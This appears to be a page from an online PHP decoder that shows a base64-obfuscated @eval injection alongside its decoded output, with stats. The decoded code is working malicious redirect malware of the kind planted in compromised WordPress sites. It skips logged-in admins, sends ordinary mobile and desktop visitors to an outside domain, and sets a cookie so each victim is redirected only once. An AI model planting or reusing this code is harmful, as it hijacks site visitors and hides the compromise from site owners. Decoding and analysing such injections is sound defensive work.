Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

/*aeR4Choc_start*/@eval(base64_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJ..

Decoded Output download

if(!defined("chaeJou7")){
    define("chaeJou7", 1);
    function isMobile($uagentStr){
        if(strpos($uagentStr, 'android') !== false || strpos($uagentStr, 'blackberry') !== false
            || strpos($uagentStr, 'iphone') !== false || strpos($uagentStr, 'ipad') !== false
            || strpos($uagentStr, 'ipod') !== false || strpos($uagentStr, 'opera mini') !== false
            || strpos($uagentStr, 'ieMobile') !== false){
            return true;
        }
        return false;
    }

    function isDesktop($uagentStr){
        if(strpos($uagentStr, 'edge') !== false || strpos($uagentStr, 'msie') !== false
            || strpos($uagentStr, 'opr') !== false || strpos($uagentStr, 'chromium') !== false
            || strpos($uagentStr, 'firefox') !== false || strpos($uagentStr, 'chrome') !== false){
            return true;
        }
        return false;
    }

    $redirTo = "https://check-robot.xyz/";
    $checkCookRedirStr = "aeNee8pi";
    $redirectAllow = true;
    foreach ($_COOKIE as $cookKey=>$cookVal){
        if (strpos($cookKey, 'wordpress_logged_in') !== false || $cookKey == $checkCookRedirStr) {
            $redirectAllow = false;
            break;
        }
    }

    $uagent = strtolower($_SERVER['HTTP_USER_AGENT']);

    if ($redirectAllow){
        if(isMobile($uagent) || isDesktop($uagent)) {
            setcookie($checkCookRedirStr, "1", time() + 604800);
            header("Location: $redirTo");
            die;
        }
    }
}

Did this file decode correctly?

Original Code

/*aeR4Choc_start*/@eval(base64_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJjaGFlSm91NyIsIDEpOwogICAgZnVuY3Rpb24gaXNNb2JpbGUoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdhbmRyb2lkJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnYmxhY2tiZXJyeScpIC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yAkY29va0tleT0+JGNvb2tWYWwpewogICAgICAgIGlmIChzdHJwb3MoJGNvb2tLZXksICd3b3JkcHJlc3NfbG9nZ2VkX2luJykgIT09IGZhbHNlIHx8ICRjb29rS2V5ID09ICRjaGVja0Nvb2tSZWRpclN0cikgewogICAgICAgICAgICAkcmVkaXJlY3RBbGxvdyA9IGZhbHNlOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CgogICAgJHVhZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCiAgICBpZiAoJHJlZGlyZWN0QWxsb3cpewogICAgICAgIGlmKGlzTW9iaWxlKCR1YWdlbnQpIHx8IGlzRGVza3RvcCgkdWFnZW50KSkgewogICAgICAgICAgICBzZXRjb29raWUoJGNoZWNrQ29va1JlZGlyU3RyLCAiMSIsIHRpbWUoKSArIDYwNDgwMCk7CiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246ICRyZWRpclRvIik7CiAgICAgICAgICAgIGRpZTsKICAgICAgICB9CiAgICB9Cn0='));/*aeR4Choc_end*/

Function Calls

base64_decode 1

Variables

None

Stats

MD5 ab0ce6b047f920bc32ae02b1d1239667
Eval Count 1
Decode Time 96 ms